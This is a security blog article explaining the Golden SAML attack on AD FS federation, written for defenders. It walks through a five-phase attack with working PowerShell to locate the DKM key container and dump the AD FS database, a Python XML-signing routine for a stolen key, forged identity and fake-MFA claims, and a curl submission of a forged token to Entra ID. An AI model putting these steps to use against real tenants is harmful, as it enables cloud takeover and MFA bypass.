Golden SAML: Deconstructing ADFS Token Forgery Architecture

Golden SAML: Deconstructing ADFS Token Forgery Architecture

Overview & Threat Landscape#

In hybrid enterprise identity architecture, the boundary between on-premises infrastructure and cloud environments is anchored by federated identity protocols. For over a decade, Active Directory Federation Services (AD FS) has served as the default enterprise Identity Provider (IdP), enabling seamless single sign-on (SSO) across on-premises Active Directory forests and downstream cloud Service Providers (SPs)—most notably Microsoft Entra ID (formerly Azure AD) / Microsoft 365, Amazon Web Services (AWS) IAM Identity Center, Salesforce, and ServiceNow.

Under the SAML 2.0 Web Browser SSO Profile (OASIS SAML 2.0), authentication relies on a fundamental architectural premise: cryptographic delegation of trust. When a user requests access to a cloud resource, the cloud Service Provider does not independently prompt for or verify the user's password, check account lock status, or evaluate multi-factor authentication (MFA) challenges with on-premises Domain Controllers. Instead, the Service Provider delegates complete authentication authority to the on-premises AD FS farm. The cloud SP verifies exactly one piece of evidence: the cryptographic digital signature appended to the incoming <saml:Assertion>, verified against the public key of the AD FS Token-Signing Certificate registered during federation setup.

graph TD
    subgraph "THE CRYPTOGRAPHIC TRUST INVERSION"
        direction TB
        c_1_a["Legitimate SAML:   Identity Validation"] --> c_1_b["Cryptographic Signing"]
        c_2_a["Golden SAML:       Stolen Private Key"] --> c_2_b["Identity Fabrication"]
    end

First conceptualized by CyberArk security researcher Shaked Reiner in 2017 and subsequently weaponized in the wild by state-sponsored threat actors during the historic SolarWinds / Solorigate supply chain campaign (Mandiant Threat Research), Golden SAML represents the ultimate manifestation of identity forgery. By exfiltrating the private key of the AD FS Token-Signing Certificate and extracting configuration metadata, an adversary gains the ability to mint digitally signed, cryptographically valid SAML assertions completely offline.

[!WARNING] Golden SAML is not an exploitable software vulnerability or a memory corruption bug that can be fixed with a vendor patch. It is an architectural post-exploitation technique that exploits the mathematical foundation of public-key cryptography in federated identity systems. Once an attacker obtains the token-signing private key, they possess absolute authority over the federated identity boundary.

How Golden SAML Shifts the Attack Calculus#

For incident responders, security architects, and threat hunters, Golden SAML upends traditional enterprise defensive assumptions across four critical dimensions:

  1. The "Zero-Touch On-Premises" Telemetry Void: Because the attacker generates and signs SAML tokens on an offline endpoint (such as an external command-and-control server or an unmanaged laptop), the attack generates zero network traffic to the on-premises AD FS farm and zero authentication requests to Active Directory Domain Controllers.

    • No Kerberos Ticket Granting Service (TGS) requests (Event ID 4769).
    • No Kerberos Authentication Service (AS) requests (Event ID 4768).
    • No Windows Interactive or Network Logon events (Event ID 4624).
    • No AD FS security audit events (Event ID 1200 or 1202 for token issuance). On-premises SIEM telemetry remains completely oblivious to the intrusion.
  2. Universal Identity & Privilege Fabrication: The attacker is not restricted to impersonating existing user accounts whose passwords they have compromised. An adversary can forge assertions for any identity synchronized or recognized by the cloud tenant—including break-glass accounts, cloud-only identities, and Global Administrators. Furthermore, the attacker can manipulate internal assertion attributes to assign arbitrary administrative roles, directory role definitions, and group memberships (SIDs).

  3. Total Multi-Factor Authentication (MFA) Bypass: In federated architecture, the cloud Service Provider offloads MFA verification to the Identity Provider. When AD FS validates an MFA challenge, it includes a specific claim inside the assertion's <saml:AuthnStatement>: http://schemas.microsoft.com/claims/authnmethodsreferences set to http://schemas.microsoft.com/claims/multipleauthn. When forging an assertion offline, the attacker simply injects this claim into the XML payload. The cloud Service Provider reads the claim, assumes MFA was completed on-premises, and grants immediate access without triggering Microsoft Authenticator, FIDO2 keys, or conditional access re-prompts.

  4. Persistence Independent of Credential Remediation: Standard incident response playbooks instruct administrators to execute enterprise-wide password resets and invalidate active Kerberos tickets (rolling the krbtgt account key twice). In a Golden SAML scenario, resetting user passwords has zero effect. Because authentication is forged offline using the token-signing private key, the attacker can continue minting new, valid cloud access tokens at will until the Token-Signing Certificate itself is revoked, re-keyed, and purged across all federated relying parties.


Vulnerability & Attack Root-Cause Analysis#

To understand why Golden SAML functions with mathematical certainty, security architects must deconstruct the internal mechanics of the SAML 2.0 Web Browser SSO Profile, the structure of XML Digital Signatures (XMLDSIG), and how AD FS manages the storage and protection of its private keys via Distributed Key Management (DKM).

1. Anatomy of a SAML 2.0 Assertion and XMLDSIG (RFC 3275)#

A SAML 2.0 authentication response sent from an IdP to a cloud Service Provider's Assertion Consumer Service (ACS) endpoint consists of a <saml2p:Response> encapsulating a <saml2:Assertion>. The integrity, authenticity, and non-repudiation of the assertion are guaranteed using XML Digital Signatures (XMLDSIG) (RFC 3275).

XML
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" 
                 ID="_a1b2c3d4-e5f6-7890-abcd-ef1234567890" 
                 IssueInstant="2026-10-04T08:45:00.000Z" 
                 Version="2.0">
  <saml2:Issuer>http://adfs.contoso.com/adfs/services/trust</saml2:Issuer>
  
  <!-- Enveloped XML Digital Signature -->
  <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:SignedInfo>
      <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
      <ds:Reference URI="#_a1b2c3d4-e5f6-7890-abcd-ef1234567890">
        <ds:Transforms>
          <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
          <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        </ds:Transforms>
        <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
        <ds:DigestValue>n4b8v9X+7kL2mP0...=</ds:DigestValue>
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>A7f9K2...[RSA-SHA256 Encrypted Hash]...==</ds:SignatureValue>
    <ds:KeyInfo>
      <ds:X509Data>
        <ds:X509Certificate>MIIE...[Public Token-Signing Cert]...==</ds:X509Certificate>
      </ds:X509Data>
    </ds:KeyInfo>
  </ds:Signature>

  <!-- Identity Subject & Immutable ID -->
  <saml2:Subject>
    <saml2:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">
      r+X9zLmPq02kAbC...==
    </saml2:NameID>
    <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
      <saml2:SubjectConfirmationData NotOnOrAfter="2026-10-04T09:45:00.000Z" 
                                     Recipient="https://login.microsoftonline.com/login.srf"/>
    </saml2:SubjectConfirmationData>
  </saml2:Subject>

  <!-- Temporal Conditions -->
  <saml2:Conditions NotBefore="2026-10-04T08:45:00.000Z" 
                    NotOnOrAfter="2026-10-04T09:45:00.000Z">
    <saml2:AudienceRestriction>
      <saml2:Audience>urn:federation:MicrosoftOnline</saml2:Audience>
    </saml2:AudienceRestriction>
  </saml2:Conditions>

  <!-- Authn Statement asserting MFA -->
  <saml2:AuthnStatement AuthnInstant="2026-10-04T08:45:00.000Z">
    <saml2:AuthnContext>
      <saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
    </saml2:AuthnContext>
  </saml2:AuthnStatement>

  <!-- Attribute Claims -->
  <saml2:AttributeStatement>
    <saml2:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn">
      <saml2:AttributeValue>admin@contoso.com</saml2:AttributeValue>
    </saml2:Attribute>
    <saml2:Attribute Name="http://schemas.microsoft.com/claims/authnmethodsreferences">
      <saml2:AttributeValue>http://schemas.microsoft.com/claims/multipleauthn</saml2:AttributeValue>
    </saml2:Attribute>
  </saml2:AttributeStatement>
</saml2:Assertion>

The Cryptographic Verification Pipeline

When the cloud Service Provider receives the assertion, its SAML engine executes a deterministic two-stage cryptographic validation:

  1. Digest Verification: The engine strips the <ds:Signature> block (per the enveloped-signature transform), normalizes the XML tree using Exclusive XML Canonicalization (C14N), and computes the SHA-256 digest of the assertion. It compares this result against the value in <ds:DigestValue>. If a single byte or space in the claims was altered, the digest mismatch causes an immediate rejection.
  2. Signature Verification: The engine canonicalizes the <ds:SignedInfo> block, computes its hash, and uses the public key from its pre-configured trusted certificate store to decrypt <ds:SignatureValue>. If the decrypted signature matches the computed hash of <ds:SignedInfo>, the cloud provider cryptographically validates that the assertion was produced by the holder of the private key.

The root cause of Golden SAML is that the Service Provider possesses no independent channel to corroborate the assertion. Possession of the private key is deemed synonymous with legitimate identity authority.


2. The Internal Mechanics of AD FS Key Storage & DKM#

Because an AD FS farm can encompass multiple federation servers behind a network load balancer, all servers in the farm must share identical Token-Signing and Token-Decrypting private keys. To facilitate key synchronization without storing plaintext private keys on local disks, Microsoft implemented Distributed Key Management (DKM).

graph TD
    subgraph "AD FS DISTRIBUTED KEY MANAGEMENT (DKM) CHAIN"
        direction TB
        stage_1["<b>Active Directory DIT (Domain Controllers)</b><br/>Container: CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=...<br/>Attribute: thumbnailPhoto (Stores DKM Master Symmetric Key)"]
        stage_2["<b>AD FS Database (WID / SQL Server)</b><br/>Table: IdentityServerPolicy.ServiceSettings<br/>XML Column: SecurityTokenService  ➔  <EncryptedPfx>"]
        stage_3["<b>In-Memory Private Key (RSA 2048-bit Private Signing Key)</b><br/>Used by Microsoft.IdentityServer.Service to mint SAML tokens"]
        stage_1 -->|"Protected by Domain DPAPI"| stage_2
        stage_2 -->|"Decrypted via DkmHelper.Unprotect()"| stage_3
    end

How DKM Stores and Protects the Signing Key

  1. The Database Store: The AD FS configuration is stored inside the Windows Internal Database (WID) or an enterprise SQL database named AdfsConfiguration. Inside the IdentityServerPolicy.ServiceSettings table, the XML column contains the <SigningCertificate> definition with a nested base64-encoded string: <EncryptedPfx>.
  2. The Active Directory DKM Container: When AD FS initializes, it creates an object container within Active Directory: CN=<ADFS-Farm-GUID>,CN=ADFS,CN=Microsoft,CN=Program Data,DC=contoso,DC=com Inside this container, AD FS creates child objects (typically of object class contact) containing binary attributes—specifically thumbnailPhoto or custom binary payloads—that store the DKM Master Key.
  3. The Cryptographic Wrapper: The <EncryptedPfx> blob in the database is encrypted symmetrically using the DKM Master Key via CNG/DPAPI primitives.

Below is decompiled pseudocode adapted from Microsoft.IdentityServer.Service.Configuration.Library.DkmHelper illustrating how the AD FS subsystem retrieves and unwraps the token-signing private key:

CSHARP
// Decompiled architecture from Microsoft.IdentityServer.Service.Configuration.Library
namespace Microsoft.IdentityServer.Service.Configuration
{
    public static class DkmHelper
    {
        public static X509Certificate2 RetrieveSigningCertificate(string encryptedPfxBase64, string dkmContainerDn)
        {
            // 1. Query Active Directory DKM container using LDAP
            DirectoryEntry dkmContainer = new DirectoryEntry("LDAP://" + dkmContainerDn);
            byte[] dkmMasterKey = null;

            foreach (DirectoryEntry child in dkmContainer.Children)
            {
                if (child.Properties.Contains("thumbnailPhoto"))
                {
                    // Extract the binary DKM symmetric secret
                    dkmMasterKey = (byte[])child.Properties["thumbnailPhoto"].Value;
                    break;
                }
            }

            if (dkmMasterKey == null)
            {
                throw new CryptographicException("AD FS DKM Master Key could not be resolved from Active Directory.");
            }

            // 2. Decode the encrypted PKCS#12 blob from the AD FS database
            byte[] encryptedBlob = Convert.FromBase64String(encryptedPfxBase64);

            // 3. Unprotect the PFX payload using DPAPI and the DKM master key
            byte[] rawPfxBytes = ProtectedData.Unprotect(
                encryptedBlob, 
                dkmMasterKey, 
                DataProtectionScope.CurrentUser
            );

            // 4. Instantiate the X509Certificate2 containing the private RSA key
            X509Certificate2 signingCert = new X509Certificate2(
                rawPfxBytes, 
                string.Empty, 
                X509KeyStorageFlags.Exportable | X509KeyStorageFlags.MachineKeySet
            );

            return signingCert;
        }
    }
}

[!IMPORTANT] The architectural vulnerability lies in the permission model: Any principal with read access to the DKM container in Active Directory and read access to the AD FS database (or local administrative rights on the AD FS server) can unwrap the Token-Signing private key. Once extracted, the private key can be exported off-premises, decoupling the cryptographic signing capability from the physical AD FS server.


Exploit Architecture#

The sequence diagram below contrasts the telemetry-rich Standard Legitimate SAML Flow with the stealthy, disconnected Golden SAML Attack Path.

sequenceDiagram
    autonumber
    participant User as Legitimate Client
    participant Attacker as Adversary (Offline System)
    participant DC as Active Directory DC
    participant ADFS as On-Premises AD FS Farm
    participant CloudSP as Cloud SP (Entra ID / AWS)

    Note over User, CloudSP: STANDARD LEGITIMATE SAML AUTHENTICATION FLOW
    User->>CloudSP: 1. Access Cloud Resource (e.g. portal.azure.com)
    CloudSP-->>User: 2. HTTP 302 Redirect to AD FS with SAMLRequest
    User->>ADFS: 3. Submit Authentication Request
    ADFS->>DC: 4. Kerberos / NTLM Validation & Group Lookup
    DC-->>ADFS: 5. Credentials Validated (Event ID 4624 logged on DC)
    ADFS->>ADFS: 6. Evaluate MFA & Claim Rules (Event ID 1200 logged)
    ADFS->>ADFS: 7. Sign SAML Assertion using Token-Signing Key
    ADFS-->>User: 8. Return Encrypted / Signed SAMLResponse
    User->>CloudSP: 9. HTTP POST SAMLResponse to /login.srf (ACS)
    CloudSP->>CloudSP: 10. Verify Signature against Trusted Public Cert
    CloudSP-->>User: 11. Issue Cloud Session & OAuth2 Tokens

    Note over Attacker, CloudSP: GOLDEN SAML ATTACK PATH (ZERO ON-PREM CONTACT)
    Note over Attacker, DC: Phase 1: On-Premise Recon & Key Exfiltration (One-Time Tier-0 Access)
    Attacker->>ADFS: Read ADFS DB IdentityServerPolicy.ServiceSettings
    Attacker->>DC: LDAP Query DKM Container (thumbnailPhoto attribute)
    Attacker->>Attacker: Decrypt EncryptedPfx to obtain RSA Private Key
    Note over Attacker: Phase 2: Disconnect and Transition Fully Offline
    Attacker->>Attacker: 1. Mint custom SAML 2.0 Assertion XML
    Attacker->>Attacker: 2. Set Subject NameID to Target ImmutableID
    Attacker->>Attacker: 3. Inject AuthnContextClassRef (Fake MFA Satisfaction)
    Attacker->>Attacker: 4. Execute C14N Canonicalization & SHA-256 Digest
    Attacker->>Attacker: 5. Sign Digest with Stolen Private Key (XMLDSIG)
    Attacker->>Attacker: 6. Base64 Encode forged SAMLResponse
    Note over Attacker, CloudSP: Phase 3: Direct Cloud Ingestion (No On-Premises Footprint)
    Attacker->>CloudSP: Direct HTTP POST forged SAMLResponse to ACS Endpoint
    CloudSP->>CloudSP: Verify Signature against Cached Public Cert (VALID)
    CloudSP->>CloudSP: Parse NameID, UPN, and MFA Claims
    CloudSP-->>Attacker: Issue Global Admin Session & Refresh Token
    Note over CloudSP: Cloud Logs Success (NO DC or AD FS Logs Exist)

Attack Path Step-by-Step#

Understanding the exact operational progression of Golden SAML enables incident responders to identify forensic artifacts across each phase of the attack lifecycle.

graph TD
    subgraph "GOLDEN SAML 5-STAGE LIFECYCLE"
        direction TB
        node_1["<b>1. Discovery</b><br/>Enumerate Federation Settings & Token-Signing Cert"]
        node_2["<b>2. Extraction</b><br/>Harvest DKM Symmetric Key & Decrypt EncryptedPfx"]
        node_3["<b>3. Claim Craft</b><br/>Forge NameID (ImmutableID), Roles & MFA Claims"]
        node_4["<b>4. XMLDSIG</b><br/>Canonicalize XML & Sign Assertion with Private Key"]
        node_5["<b>5. Ingestion</b><br/>HTTP POST to Cloud ACS & Harvest Cloud Session"]
        node_1 --> node_2
        node_2 --> node_3
        node_3 --> node_4
        node_4 --> node_5
    end

Phase 1: Federation Reconnaissance & Metadata Harvesting#

Before forging assertions, an adversary must establish the federation parameters configured between the target on-premises AD FS farm and the cloud Service Provider.

Administrators and threat analysts can audit these exact parameters using administrative PowerShell cmdlets on the AD FS primary server:

POWERSHELL
# Execute in elevated PowerShell on the primary AD FS server
# 1. Enumerate the AD FS Federation Service Identifier (Issuer URI)
Get-AdfsProperties | Select-Object -Property HostName, HttpPort, HttpsPort, Identifier

# 2. Inspect configured Relying Party Trusts (e.g., Microsoft 365, AWS, Salesforce)
Get-AdfsRelyingPartyTrust | Select-Object -Property Name, Identifier, Enabled

# 3. Retrieve Token-Signing Certificate metadata (Thumbprint, Validity, Subject)
Get-AdfsCertificate -CertificateType Token-Signing | Format-List Subject, Thumbprint, IsPrimary, ValidFromDate, ValidToDate

From this reconnaissance, the adversary collects four mandatory variables:

  • IdP Entity ID (Issuer): e.g., http://adfs.contoso.com/adfs/services/trust
  • Relying Party Entity ID (Audience): e.g., urn:federation:MicrosoftOnline for Entra ID or urn:amazon:webservices for AWS.
  • Token-Signing Certificate Thumbprint: To identify the matching certificate object.
  • Assertion Consumer Service (ACS) URL: e.g., https://login.microsoftonline.com/login.srf.

Phase 2: DKM Container Resolution & Private Key Exfiltration#

To extract the private key, the adversary targets two repositories: Active Directory for the DKM Master Key, and the AD FS configuration database for the encrypted certificate payload.

1. Locating the DKM Container via LDAP

The adversary locates the DKM container using an LDAP search under Program Data:

POWERSHELL
# Query Active Directory for the AD FS DKM Container
$DkmRoot = "CN=ADFS,CN=Microsoft,CN=Program Data," + (Get-ADRootDSE).defaultNamingContext
Get-ADObject -SearchBase $DkmRoot -Filter 'ObjectClass -eq "container" -or ObjectClass -eq "contact"' -Properties * | 
    Select-Object Name, DistinguishedName, whenCreated, thumbnailPhoto

The binary payload residing inside thumbnailPhoto contains the symmetric key used by DPAPI to unprotect the certificate.

2. Querying the AD FS Configuration Database

Next, the adversary accesses the Windows Internal Database (WID). By default, WID listens on a local Named Pipe (\.\pipe\MICROSOFT##WID\tsql\query). Using administrative privileges, the adversary extracts the <EncryptedPfx> XML node:

POWERSHELL
# Connecting to Windows Internal Database (WID) via sqlcmd
$Query = "SELECT ServiceSettingsData FROM [AdfsConfigurationV4].[IdentityServerPolicy].[ServiceSettings]"
sqlcmd -S "\\.\pipe\MICROSOFT##WID\tsql\query" -d "AdfsConfigurationV4" -Q $Query -o "C:\Windows\Temp\adfs_settings.xml"

3. Unwrapping the PKCS#12 Private Key

By combining the DKM Master Key from Active Directory with the <EncryptedPfx> payload from WID, the adversary invokes Windows Data Protection API (DPAPI) primitives to unwrap the PFX archive. The result is an exportable RSA 2048-bit Private Key and the corresponding X.509 Public Certificate.

[!CAUTION] Once the private key is extracted and saved as an external .pfx or .pem file, the adversary can completely exit the compromised network. All subsequent attack phases occur on external systems with zero telemetry linkage to the victim's infrastructure.


Phase 3: Identity Claim Fabrication (Entra ID & AWS IAM)#

In SAML federation, user identity is not represented merely by a username string; it is strictly defined by protocol-specific attributes mapped between directory schemas.

1. Entra ID / Microsoft 365 Claim Schema

For Microsoft cloud services, the most critical identity anchor is the ImmutableID (SourceAnchor). In standard Azure AD Connect deployments, the ImmutableID is the base64-encoded representation of the on-premises user's binary objectGUID:

POWERSHELL
# Calculating the ImmutableID from an Active Directory User objectGUID
$UserGuid = (Get-ADUser -Identity "victim_admin").objectGUID
$ImmutableID = [System.Convert]::ToBase64String($UserGuid.ToByteArray())
Write-Output "ImmutableID: $ImmutableID"
# Example Output: r+X9zLmPq02kAbC123456w==

The adversary crafts the <saml:Subject> block using this ImmutableID as the NameID:

  • NameID: r+X9zLmPq02kAbC123456w== (Format: urn:oasis:names:tc:SAML:2.0:nameid-format:persistent)
  • UPN Claim: victim_admin@contoso.com
  • MFA Claim: http://schemas.microsoft.com/claims/authnmethodsreferences -> http://schemas.microsoft.com/claims/multipleauthn

2. AWS IAM Claim Schema

If the federated target is Amazon Web Services, the adversary crafts AWS-specific SAML attributes:

  • https://aws.amazon.com/SAML/Attributes/Role: arn:aws:iam::123456789012:role/AdministratorAccess,arn:aws:iam::123456789012:saml-provider/ADFS
  • https://aws.amazon.com/SAML/Attributes/RoleSessionName: admin_session

Phase 4: Cryptographic Signing Mechanics (XMLDSIG & C14N)#

The adversary assembles the forged assertion XML and applies the exact mathematical signing procedure required by XMLDSIG.

graph TD
    subgraph "XMLDSIG COMPUTATION PIPELINE"
        direction TB
        step_1["1. Raw Assertion XML (without Signature block)"]
        step_2["2. Apply Exclusive XML Canonicalization (C14N: whitespace/namespaces)"]
        step_3["3. Compute SHA-256 Digest of Canonicalized XML  ➔  DigestValue"]
        step_4["4. Assemble <SignedInfo> containing DigestValue & Algorithm IDs"]
        step_5["5. Canonicalize <SignedInfo> and Sign with RSA Private Key"]
        step_6["6. Base64 Encode Signature Bytes  ➔  SignatureValue"]
        step_7["7. Insert Enveloped <Signature> into <Assertion>"]
        step_1 --> step_2
        step_2 --> step_3
        step_3 --> step_4
        step_4 --> step_5
        step_5 --> step_6
        step_6 --> step_7
    end

The mathematical signing workflow executes the following cryptographic operations:

PYTHON
# Conceptual representation of XMLDSIG generation for Golden SAML
import base64
import hashlib
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives.serialization import load_pem_private_key
from lxml import etree

def compute_assertion_signature(assertion_bytes, private_key_pem):
    # 1. Parse assertion and canonicalize (Exclusive C14N)
    root = etree.fromstring(assertion_bytes)
    c14n_assertion = etree.tostring(root, method="c14n", exclusive=True)
    
    # 2. Compute SHA-256 DigestValue of the canonicalized assertion
    digest = hashlib.sha256(c14n_assertion).digest()
    digest_b64 = base64.b64encode(digest).decode("utf-8")
    
    # 3. Construct SignedInfo fragment
    signed_info_xml = (
        '<ds:SignedInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">'
        '<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>'
        '<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>'
        f'<ds:Reference URI="#{root.attrib[\"ID\"]}">'
        '<ds:Transforms>'
        '<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>'
        '<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>'
        '</ds:Transforms>'
        '<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>'
        f'<ds:DigestValue>{digest_b64}</ds:DigestValue>'
        '</ds:Reference>'
        '</ds:SignedInfo>'
    )
    
    # 4. Canonicalize SignedInfo
    signed_info_elem = etree.fromstring(signed_info_xml.encode("utf-8"))
    c14n_signed_info = etree.tostring(signed_info_elem, method="c14n", exclusive=True)
    
    # 5. Sign canonicalized SignedInfo using the stolen RSA private key
    private_key = load_pem_private_key(private_key_pem, password=None)
    signature = private_key.sign(
        c14n_signed_info,
        padding.PKCS1v15(),
        hashes.SHA256()
    )
    sig_b64 = base64.b64encode(signature).decode("utf-8")
    
    return sig_b64

Phase 5: Replay & Cloud Identity Ingestion#

Once the <saml:Response> is serialized and Base64-encoded, the adversary transmits it to the Service Provider's Assertion Consumer Service (ACS) endpoint via a standard HTTP POST request.

BASH
# Submitting forged SAML response directly to Microsoft Entra ID ACS
curl -X POST "https://login.microsoftonline.com/login.srf" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
     --data-urlencode "SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIi...[BASE64_FORGED_SAML]...=="

The Service Provider Response:

  1. Entra ID receives the POST payload at /login.srf.
  2. It extracts <ds:X509Certificate> and matches the thumbprint against the federation settings configured for contoso.com.
  3. It validates <ds:SignatureValue> against <ds:SignedInfo> using the trusted public key. Validation succeeds.
  4. It reads the ImmutableID, maps the principal to admin@contoso.com, reads the synthetic multipleauthn claim, and issues:
    • An ESTSAUTH session cookie.
    • An OAuth2 Refresh Token and Access Token with full tenant-wide scopes (Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory).

The adversary has successfully achieved complete cloud dominance with zero interaction with on-premises identity infrastructure.


Fast Cyber Defense Morning Takeaways#

The architectural reality of Golden SAML underscores why legacy federation models pose severe structural risks to modern hybrid enterprises. Below are the critical morning takeaways and architectural considerations for security engineering teams:

Summary of Threat Findings#

  1. The Invalidation Paradox: Resetting passwords, revoking user sessions in Active Directory, or disabling on-premises accounts provides zero defense against an adversary holding the AD FS Token-Signing private key. The adversary can forge new sessions on demand.
  2. The Telemetry Blind Spot: Golden SAML creates a dangerous detection gap. On-premises SIEM rules monitoring Domain Controller event logs (4624, 4768, 4769) and AD FS logs (1200, 1202) remain completely silent during exploitation.
  3. MFA Neutralization: Federated SAML delegates MFA claim assertion to the Identity Provider. Because claims are declared inside the signed XML, an adversary can synthesize proof of hardware MFA satisfaction offline.

What to Prepare for Tonight's Blue Team Defense Guide#

In tonight's edition (EDITION 2: Systems & Platform Engineering / Blue Team Defense Guide), we will pivot from threat deconstruction to tactical and architectural engineering:

  • The Emergency AD FS Certificate Eviction Protocol: Step-by-step procedures to force an immediate certificate rollover, invalidate trusted certificates in Microsoft Entra ID via Graph PowerShell, and safely disconnect compromised federation metadata.
  • ADFS & DKM Telemetry Hardening: Configuring advanced SACLs (System Access Control Lists) on the Active Directory DKM container and deploying detection rules for anomalous LDAP reads (Event ID 4662).
  • Cross-Layer Telemetry Reconciliation: Engineering KQL (Kusto Query Language) correlation queries in Microsoft Sentinel to match Entra ID Federated Sign-in logs against on-premises AD FS Event ID 1200 token issuances, instantly detecting offline-forged assertions.
  • Architectural Migration to Cloud-Native Authentication: Eliminating the on-premises federation vulnerability entirely by migrating from AD FS to Entra ID Cloud Authentication (Password Hash Sync with Seamless SSO or Staged Rollout) backed by Phishing-Resistant FIDO2 / Certificate-Based Authentication (CBA).

Authoritative References#

  1. CyberArk Labs (Original Research): Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Applications — CyberArk Threat Research
  2. Mandiant Threat Intelligence: Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims with Golden SAML — Google Cloud Mandiant Blog
  3. Cybersecurity and Infrastructure Security Agency (CISA): Alert AA21-008A: Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments — CISA Cybersecurity Alerts
  4. Microsoft Incident Response & SimuLand: Understanding Solorigate's Identity IOCs and Simulating AD FS Golden SAML Attacks — Microsoft Security Documentation
  5. OASIS Standard: Security Assertion Markup Language (SAML) V2.0 Core & Web Browser SSO Profile — OASIS Open Standard

Comments